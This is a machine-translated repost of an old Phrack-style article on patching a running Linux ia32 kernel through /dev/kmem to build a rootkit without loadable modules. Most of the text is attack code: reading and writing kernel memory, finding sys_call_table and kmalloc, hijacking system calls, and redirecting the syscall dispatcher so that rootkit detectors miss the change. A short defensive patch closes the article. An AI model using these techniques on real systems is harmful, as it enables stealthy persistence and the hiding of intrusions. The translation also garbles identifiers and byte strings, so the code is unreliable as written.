Linuxon-the-flykernelpatchingwithoutLKM

Source: Internet
Author: User
Linuxon-the-flykernelpatchingwithoutLKM-Linux general technology-Linux programming and kernel information. For details, see the following. 1. Introduction
  
In this article, the author will discuss a method that does not use LKM or System. map to modify the Linux kernel (mainly called by the System), and use this technology to implement a rootkit
  
Chinese Translation: nixe0n
   1. Introduction
  
First, we would like to thank Silvio Cesare for implementing the kernel modification technology a long time ago. Most of the ideas in this article are to steal his achievements.
  
In this article, we will discuss a method that does not use LKM or System. map to modify the Linux kernel (mainly called by the System). Therefore, you need to understand what LKM is and how they are loaded. If you are not familiar with this knowledge, please refer to the references listed in this article.
  
First, let's imagine that if a poor guy enters a system and gets the root permission, but the system administrator is very savvy, using some data integrity detection tools, attackers cannot install their own modified Trojan sshd without knowing it. In addition, the system does not have to install gcc and other compilers, development libraries, and required header files (this should have been the case: p). Attackers cannot compile their own LKM rookit. What can I do? This article will show you step by step how to solve this problem, and at the end of this article provides a complete Linux-ia32 rootkit, in which the implementation of the technology described in this article. (Readers can go to the http://www.phrack.org to get their source code-nixe0n)

  
The technology described in this article can only be used in the ia32 architecture.
  
   2./dev/kmem is our friend.
  
Mem is a character device file and an image stored by the computer. It can be used to test or even modify the system.
  
I have never started a quote :), from the Linux manual page (man mem)
  
For more information about how to fix the running kernel, see run-time kernel patching, the masterpiece of Silvio. Here is a brief introduction:
  
In this article, all operations on the kernel space are performed through a standard Linux device/dev/kmem. This device is usually only authorized by the root user, so only the root user can perform these operations. note: Only the permission to modify/dev/kmem cannot be granted to common users because even if the Virtual File System allows common users to access/dev/kmem, the kernel also performs a second check on the process (in device/char/mem. c), check whether the process has CAP_SYS_RAWIO capacity (capability ).
  
In addition to the/dev/kmem device,/dev/mem should also be noted. This device indicates the physical memory image before the virtual memory conversion. If we know the location of the page Directory, you can use this device to modify the system kernel. We will not discuss this possibility in this article.
  
In the code, the standard system calls read (), write (), and lseek () to implement read, write, and address location operations on/dev/kmem files, very simple. The following functions implement the above functions:
  
/* Read data from kmem */
Static inline int rkm (int fd, int offset, void * buf, int size)
{
If (lseek (fd, offset, 0 )! = Offset) return 0;
If (read (fd, buf, size )! = Size) return 0;
Return size;
}
  
/* Write data to kmem */
Static inline int wkm (int fd, int offset, void * buf, int size)
{
If (lseek (fd, offset, 0 )! = Offset) return 0;
If (write (fd, buf, size )! = Size) return 0;
Return size;
}
  
/* Read an integer from kmem */
Static inline int rkml (int fd, int offset, ulong * buf)
{
Return rkm (fd, offset, buf, sizeof (ulong ));
}
  
/* Write an integer to kmem */
Static inline int wkml (int fd, int offset, ulong buf)

{
Return wkm (fd, offset, & buf, sizeof (ulong ));
}
  
   3. replace system call
  
We know that from the perspective of user space, system calling is the underlying system function in Linux, so system calling is what we are most interested in. In the Linux kernel, system calls are collected to a table (sys_call_table). This is a one-dimensional array, stores 256 pointers, and uses the system call number as the index to locate the call entry point. That's all.
  
First, let's take a look at the pseudocode below the example:
  
/* As everywhere, "Hello world" is good for ginginers ;-)*/
  
/* Original system call */
Int (* old_write) (int, char *, int );
/* New System Call handler */
New_write (int fd, char * buf, int count ){
If (fd = 1) {/* standard output device? */




Old_write (fd, "Hello world! ", 13 );
Return count;
} Else {
Return old_write (fd, buf, count );
}
}
  
Old_write = (void *) sys_call_table [_ NR_write];/* Save the old */
Sys_call_table [_ NR_write] = (ulong) new_write;/* set the new */
  
This type of code is often encountered in various LKM rootkit and tty hijacking programs. We can modify sys_call_table [] in this way, the code is usually imported into the kernel by/sbin/insmod (calling create_module ()/init_module.
  
Okay, so far, we think this is enough.
  
3. 1. How to obtain the position of sys_call_table [] without LKM
  
First, note that if LKM is not supported during compilation, the Linux kernel will not maintain any symbolic information. This is a wise choice and does not support LKM. What is the reason for using this information? For debugging? System. map can be used for debugging. Of course, we need the symbolic information :). If the kernel supports LKM, the symbols required by LKM will be imported into their specific connection fragments. But what should we do if LKM is not supported?
  
The smartest way to obtain the location of sys_call_table [] is as follows:
  
# Include
# Include
# Include
# Include
  
Struct {
Unsigned short limit;
Unsigned int base;
} _ Attribute _ (packed) idtr;
  
Struct {
Unsigned short off1;
Unsigned short sel;
Unsigned char none, flags;
Unsigned short off2;
} _ Attribute _ (packed) idt;
  
Int kmem;
Void readkmem (void * m, unsigned off, int sz)
{
If (lseek (kmem, off, SEEK_SET )! = Off ){
Perror ("kmem lseek"); exit (2 );
}
If (read (kmem, m, sz )! = Sz ){
Perror ("kmem read"); exit (2 );
}
}
  
# Define CALLOFF 100/* We will read the first 100 bytes of int $0x80 */
Main ()
{
Unsigned sys_call_off;
Unsigned sct;
Char SC _asm [CALLOFF], * p;
  
/* Obtain the value of the IDTR register */
Asm ("sidt % 0": "= m" (idtr ));
Printf ("idtr base at 0x % X
", (Int) idtr. base );
  
/* Open kmem */
Kmem = open ("/dev/kmem", O_RDONLY );
If (kmem <0) return 1;
  
/* Read the 0x80 vector (syscall) from IDT )*/
Readkmem (& idt, idtr. base + 8*0x80, sizeof (idt ));
Sys_call_off = (idt. off2 <16) | idt. off1;
Printf ("idt80: flags = % X sel = % X off = % X
",
(Unsigned) idt. flags, (unsigned) idt. sel, sys_call_off );
  
/* Find the address of sys_call_table */
Readkmem (SC _asm, sys_call_off, CALLOFF );
P = (char *) memmem (SC _asm, CALLOFF, "xffx14x85", 3 );




Sct = * (unsigned *) (p + 3 );
If (p ){
Printf ("sys_call_table at 0x % x, call dispatch at 0x % x
",
Sct, p );
}
Close (kmem );
}
  
Next we will explain how this code works. Sidt [asm ("sidt % 0": "= m" (idtr);] command can obtain the position of the interrupt descriptor table (interrupt descriptor table, from this command, we can obtain the position of the int $0x80 Interrupt Descriptor [readkmem (& idt, idtr. base + 8*0x80, sizeof (idt);].
  
Then we use [sys_call_off = (idt. off2 <16) | idt. off1;] to calculate the entry point of int $0x80 (system_call function address ). However, we want to know the location of sys_call_table. Let's take a look at the code after the system_call function disassembly. If you use a self-compiled kernel, a file called vmlinux will be generated after each compilation. Use this file to find the address of the kernel symbol.
  
[Sd @ pikatchu linux] $ gdb-q/usr/src/linux/vmlinux
(No debugging symbols found)... (gdb) disass system_call
Dump of worker er code for function system_call:
0xc01_bc8: push % eax
0xc01_bc9: cld
0xc01_bca: push % es
0xc01_bcb: push % ds
0xc00000bcc: push % eax
0xc00000bcd: push % ebp
0xc01_bce: push % edi
0xc01_bcf: push % esi
0xc01_bd0: push % edx
0xc01_bd1: push % ecx
0xc01_bd2: push % ebx
0xc01_bd3: mov $0x18, % edx
0xc01_bd8: mov % edx, % ds
0xc000000000: mov % edx, % es
0xc01_bdc: mov $0xffffe000, % ebx
0xc00000be1: and % esp, % ebx
0xc00000be3: cmp $0x100, % eax
0xc00000be8: jae 0xc00000c75
0xc00000bee: testb $0x18 (% ebx)
0xc00000bf2: jne 0xc00000c48
0xc01_bf4: call * 0xc01e0f18 (, % eax, 4) <-- it is
0xc01_bfb: mov % eax, 0x18 (% esp, 1)
0xc00000bff: nop
End of worker er dump.
(Gdb) print & sys_call_table
$1 = (*) 0xc01e0f18 <-- have you seen it? Same
(Gdb) x/xw (system_call + 44)
0xc01_bf4: 0x188514ff <-- machine command (little endian)
(Gdb)
  
From the test above, we can find the machine command of the call sys_call_table (, eax, 4) command adjacent to the entry point of int $0x80 system_call. In addition, linux kernels of various x86 architectures (at least from 2.0.10 to 2.4.10) basically use this command to transmit system calls. Call something <, eax, 4) the machine code of the command is 0xff 0x14 0x85 0x. Therefore, we can obtain the address of the command by Using Pattern Matching:
  
Memmem (SC _asm, CALLOFF, "xffx14x85", 3);/* start searching from the location of system_call */
  




In addition to this method, there may be more robust processing methods. Here we simply get the address of a simple instruction in the int $0x80 processing function. It is complicated to consider the re-import of the kernel.
  
So far, we have obtained the position of sys_call_table [], so that we can modify the address of some system calls. below is the related pseudo code:
  
Readkmem (& old_write, sct + _ NR_write * 4, 4);/* Save the old system call */
Writekmem (new_write, sct + _ NR_write * 4, 4);/* set a new system call */
  
3. 2. Modify the call address of system_call
  
At the time of writing this article, we found some so-called rootkit detectors in Packetstorm/Freshmeat. They detect LKM, system call tables, and other Kernel errors. Fortunately, the vast majority of such tools are very stupid. They can be cheated by slight subtotal. Refer to [6]. The green corps's e also has an article about this technology. Create a new system call table without modifying any content in the original sys_call_table [] array. Then, modify the call address of the system_call function to the new system call table. In this way, the rootkit detection tool (for example, kstat) that checks the address of the system call to implement the function cannot detect that the system call has been modified, because we have never modified anything in sys_call_table [], and we just don't need it anymore. The specific process can be described using the following pseudocode:
  
Ulong sct = addr of sys_call_table []
Char * p = ptr to int 0x80's call sct (, eax, 4)-dispatch
Ulong nsct [256] = new syscall table with modified entries
  
Readkmem (nsct, corner stone, 1024);/* read old */
Old_write = nsct [_ NR_write];
Nsct [_ NR_write] = new_write;
/* Use our own system call table */
Writekmem (ulong) p + 3, nsct, 4 );
  
/* Note that this code never can work, because you can't
Redirect something kernel related to userspace, such
Sct [] in this case */
  
  
In this Code, we created a copy of sys_call_table [] [readkmem (nsct, sct, 1024);], save and modify the call entry we are interested in [old_write = nsct [_ NR_write]; nsct [_ NR_write] = new_write;]. Then, you only need to modify the call (, eax, 4) command call address to achieve system call redirection:
  
0xc01_bf4: call * 0xc01e0f18 (, % eax, 4)
~~~~ | ~~~~~
|__ This is our own system call table address.
Generally, the LKM detection tool does not check the content of the system_call function (which may happen later), so it cannot be noticed that sys_call_table [] is still there and we have not made any changes, it's just that the system_call function no longer uses it :).
  
   4. Obtain the memory of the kernel space
  
Next, we need to obtain the memory address above 0xc0000000 or 0x80000000. 0xc0000000 is the boundary between the user memory space and the kernel memory space. The user process cannot access the memory address higher than 0x80000000, not even the root user. So what should we do? Don't worry. Let's first look at how LKM-supported kernels are implemented (/usr/src/linux/kernel/module. c );
  
Void inter_module_register (const char * im_name, struct module * owner,
Const void * userdata)
{
Struct list_head * tmp;
Struct inter_module_entry * ime, * ime_new;




  
If (! (Ime_new = kmalloc (sizeof (* ime), GFP_KERNEL ))){
/* Overloaded kernel, not fatal */
...
  
Not surprisingly, they use the kmalloc (size, GFP_KERNEL) function to allocate memory for kernel space. However, we cannot use the kmalloc () function because:
  
We do not know the address of the kmalloc () function.
  
We do not know the value of GFP_KERNEL.
  
We cannot call the kmalloc () function in the user space.
  
. How to obtain the kmalloc () address if LKM supports
  
If the system supports LKM, you can use the following code to find the address of the kmalloc function:
  
Ulong get_sym (char * n ){
Struct kernel_sym tab [MAX_SYMS];
Int numsyms;
Int I;
  
Numsyms = get_kernel_syms (NULL );
If (numsyms> MAX_SYMS ''numsyms <0) return 0;
Get_kernel_syms (tab );
For (I = 0; I <numsyms; I ++ ){
If (! Strncmp (n, tab . Name, strlen (n )))
Return tab. Value;
}
Return 0;
}
  
Ulong get_kma (ulong pgoff)
{
Ret = get_sym ("kmalloc ");
If (ret) return ret;
Return 0;
}
  
We will not explain this code much.
  
. Search for the address of the kmalloc () function through pattern matching
  
However, if the kernel does not provide LKM support, we will be in trouble. In addition, the solution to this problem is very dirty and not very good, but it seems to be effective. We will traverse the. text Segment of the kernel and perform mode query on the following commands:
  
Push GFP_KERNEL
Push size
Call kmalloc
  
Then, the search results are collected to a table for sorting. The kmalloc () function address is the most frequently used. The following code is used:
  
# Deprecision RNUM 1024
Ulong get_kma (ulong pgoff)
{
Struct {uint a, f, cnt;} rtab [RNUM], * t;
Uint I, a, j, push1, push2;
Uint found = 0, total = 0;
Uchar buf [0x10010], * p;
Int kmem;
Ulong ret;
  
/* Try the correct method before using our own method */
Ret = get_sym ("kmalloc ");

If (ret) return ret;
  
/* Humm, no way ;))*/
Kmem = open (KMEM_FILE, O_RDONLY, 0 );
If (kmem <0) return 0;
For (I = (pgoff + 0x100000); I <(pgoff + 0x1000000 );
I ++ = 0x10000 ){
If (! Loc_rkm (kmem, buf, I, sizeof (buf) return 0;
/* Search for push and call commands */
For (p = buf; p <buf + 0x10000 ;){
Switch (* p ++ ){
Case 0x68:
Push1 = push2;
Push2 = * (unsigned *) p;
P + = 4;
Continue;
Case 0x6a:
Push1 = push2;
Push2 = * p ++;




Continue;
Case 0xe8:
If (push1 & push2 &&
Push1 <= 0 xffff &&
Push2 <= 0x1ffff) break;
Default:
Push1 = push2 = 0;
Continue;
}
/* We obtained the push1/push2/call sequence, and then looked for the address */
A = * (unsigned *) p + I + (p-buf) + 4;
P + = 4;
Total ++;
/* Find in the table */
For (j = 0, t = rtab; j <found; j ++, t ++)
If (t-> a = a & t-> f = push1) break;
If (j <found)
T-> cnt ++;
Else
If (found> = RNUM ){
Return 0;
}
Else {
Found ++;
T-> a =;
T-> f = push1;
T-> cnt = 1;
}
Push1 = push2 = 0;
}/* For (p = buf ;...*/
}/* For (I = (pgoff + 0x100000 )...*/
Close (kmem );
T = NULL;
For (j = 0; j <found; j ++)/* find a winner */
If (! T' rtab [j]. cnt> t-> cnt) t = rtab + j;
If (t) return t->;
Return 0;
}
  
This code is just a simple state machine. It does not consider the differences in assembly code layout caused by some GCC compilation options. Modify the switch option to search for other code modes. In addition, you can increase the accuracy of the query for the green value.
  
This code is about 80% accurate and can be widely used in kernels 2.2.1-> 2.4.13.
  
4.3.the value of green _ KERNEL
  
The next problem we will encounter is that the value of GFP_KERNEL is different in each kernel series. This problem can be solved through the uname () function.
  
+ ----------------------------------- +
| Kernel version | GFP_KERNEL value |
+ ---------------- + ------------------ +
| 1.0.x .. 2.4.5 | 0x3 |
+ ---------------- + ------------------ +
| 2.4.6 .. 2.4.x | 0x1f0 |
+ ---------------- + ------------------ +
  
Note: In the kernel 2.4.7-2.4.9, the call may fail due to the incorrect GFP_KERNEL.
  
Code:
  
# Define new_green 0x1f0
# Define old_green 0x3
  
/* Uname struc */
Struct un {
Char sysname [65];
Char nodename [65];
Char release [65];
Char version [65];
Char machine [65];
Char domainname [65];
};
  
Int get_green ()
{
Struct un s;
Uname (& s );
If (s. release [0] = '2') & (s. release [2] = '4 ')&&
(S. release [4]> = '6' |
(S. release [5]> = '0' & s. release [5] <= '9 '))){
Return new_green;
}
Return old_green;
}
  
4. overwrite system calls




  
As we mentioned earlier, we cannot directly call the kmalloc () function from the user space. You can find the answer to this question in the Silvio article [Reference 2].
  
Obtain the address of some system call implementation (IDT-> int 0x80-> sys_call_table ).
  
Create a routine to call the kmalloc () function and return a memory pointer.
Because a system call needs to be overwritten, we need to save the content to be overwritten.
Use our own routine to overwrite the original system call implementation.
Call this system call through int $0x80 in the user space. This routine will return the obtained memory pointer to us.
Use the stored content to restore the original system call.
Our own system calls are as follows:
  
Struct kma_struc {
Ulong (* kmalloc) (uint, int );
Int size;
Int flags;
Ulong mem;
} _ Attribute _ (packed ));
  
Int our_routine (struct kma_struc * k)
{
K-> mem = k-> kmalloc (k-> size, k-> flags );
Return 0;
}
  
Now we have obtained the memory of the kernel space. We can copy our own system call implementation to this memory, modify the forged sys_call_table array, and forge the system call entry.
  
  5. Some precautions
  
When using this technology, it is best to pay attention to the following:
  
Note the kernel version (GFP_KERNEL ).
  
If you want to use it for different kernels, it is best to modify only the system call and do not involve any other kernel data structures including tash_struct.
  
This technology may cause some trouble when using SMP. Pay attention to the re-import problem of the kernel and use the user space lock as needed.
  
  6. Possible Solutions
  
Now, let's look at how we can prevent such attacks from the perspective of a good person. Use the following patch to change the attribute of the/dev/kmem device to read-only, and cancel the LKM support to solve this problem.
  
Kmem-ro.diff
---/Usr/src/linux/drivers/char/mem. c Mon Apr 9 13:19:05 2001
+++/Usr/src/linux/drivers/char/mem. c Sun Nov 4 15:50:27 2001
@-49,6 + 51,8 @@
Const char * buf, size_t count, loff_t * ppos)
{
Ssize_t written;
+/* Disable kmem write */
+ Return-EPERM;
  
Written = 0;
# If defined (_ iSCSI _) ''defined (_ mc68000 __)
  
  
Note: This patch may cause some applications that require write/dev/kmem kernel permissions to fail to run normally. However, it is worthwhile to ensure security.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.